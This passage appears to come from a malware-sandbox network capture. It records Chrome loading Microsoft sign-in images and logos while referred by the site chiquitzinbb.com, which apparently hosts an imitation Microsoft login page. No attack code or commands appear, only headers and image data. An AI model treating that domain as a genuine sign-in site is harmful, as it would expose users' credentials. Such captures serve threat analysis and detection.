2024-10-24 14:04:37 UTC	660	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://chiquitzinbb.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:37 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18433849 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Thu, 24 Oct 2024 14:04:37 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-10-24 14:04:37 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 14:04:38 UTC	513	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=9701 Date: Thu, 24 Oct 2024 14:04:38 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-24 14:04:38 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49763	157.230.134.73	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	351	OUT	GET /favicon.ico HTTP/1.1 Host: chiquitzinbb.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:38 UTC	276	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:38 GMT Server: Apache Last-Modified: Sat, 09 May 2020 23:50:03 GMT ETag: "1bb33-5a53fc5cd436b" Accept-Ranges: bytes Content-Length: 113459 X-Powered-By: PleskLin Connection: close Content-Type: image/vnd.microsoft.icon
2024-10-24 14:04:38 UTC	16384	IN	Data Raw: 00 00 01 00 07 00 00 00 00 00 01 00 20 00 2d 2c 00 00 76 00 00 00 80 80 00 00 01 00 20 00 28 08 01 00 a3 2c 00 00 40 40 00 00 01 00 20 00 28 42 00 00 cb 34 01 00 30 30 00 00 01 00 20 00 a8 25 00 00 f3 76 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 9b 9c 01 00 18 18 00 00 01 00 20 00 88 09 00 00 43 ad 01 00 10 10 00 00 01 00 20 00 68 04 00 00 cb b6 01 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 00 49 44 41 54 78 9c ed 9d 79 60 54 d5 f5 c7 bf b3 4f 32 33 49 26 7b 20 2b 4b c2 92 b0 13 24 6c 15 01 85 8a a8 55 ac 1b 5a 5b 45 ad 56 6b 5b 7f 6d dd ea 5a b5 ad d6 a5 d6 5a 5b 17 6c ad 0a 6a 95 3d 61 87 20 90 90 04 48 02 81 2c 64 cf 90 4c Data Ascii: -,v (,@@ (B400 %v C hPNGIHDR\rfpHYsod IDATxy`TO23I&{ +K$lUZ[EVk[mZZ[lj=a H,dL
2024-10-24 14:04:38 UTC	16384	IN	Data Raw: ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ------------------------------------------------
2024-10-24 14:04:38 UTC	16384	IN	Data Raw: ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ------------------------------------------------
2024-10-24 14:04:38 UTC	16384	IN	Data Raw: ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ------------------------------------------------
2024-10-24 14:04:38 UTC	16384	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff fd fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f5 ed ff a4 82 22 ff Data Ascii: "
2024-10-24 14:04:38 UTC	16384	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ef d6 99 ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff f8 ee d4 ff ff ff ff ff ff ff ff ff ed d0 8b ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff e5 bc 58 ff fc f9 f1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 e4 bc ff df ab 2f ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff cc cc cc ff cc cc cc ff cc cc cc ff cc cc cc ff ff ff ff ff Data Ascii: ------------------------X/-------
2024-10-24 14:04:38 UTC	15155	IN	Data Raw: ae 35 ff df ab 2d ff df ab 2d ff df ab 2d ff df ab 2d ff dc af 40 ff cc cc cc ff cc cc cc ff ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe fe fb f7 eb fe e2 b3 43 fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff ea ca 7a fe fe fe fe fe fe fc f8 ff e1 b0 3b fe de aa 2c fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff de aa 2c fe df ab 2d ff de aa 2c fe de aa 2c fe ea c9 78 ff fe fe fd fe fe fe fe fe ff ff ff ff fe fe fd fe ed d0 8a fe df ab 2d ff de aa 2c fe de aa 2c fe df ab 2d ff de aa 2c fe dc af 40 fe cb cb cb fe cc cc cc ff ff ff ff ff fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe ff ff ff ff fe fe fe fe fe fe fe fe Data Ascii: 5----@C-,,-,,-z;,-,,-,-,,x-,,-,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	13.107.253.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:38 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:38 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 51a6e408-101e-0032-6a76-21b49e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140438Z-r1755647c66prnf6k99z0m3kzc00000009xg000000002bpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:38 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	13.107.253.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:38 UTC	800	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:38 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 70b46ff5-001e-0054-434d-238c01000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140438Z-17fbfdc98bbnhb2b0umpa641c8000000078g0000000063eg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:38 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	13.107.253.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:38 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:38 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: e9787de0-e01e-0026-7d28-21fcf1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140438Z-r1755647c66sn7s9kfw6gzvyp000000009v0000000004v3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:38 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	13.107.253.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:38 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:38 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 1fe36aa4-601e-0065-6b61-231aad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140438Z-r1755647c66vrwbmeqw88hpesn00000009m0000000004cm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:04:38 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	13.107.253.45	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 14:04:38 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:04:38 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: b9fe5beb-001e-0011-7ea5-242e5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T140438Z-r1755647c668mbb8rg8s8fbge400000006m0000000008vfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:04:38 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49765	152.199.21.175	443	5012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:04:38 UTC	424	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
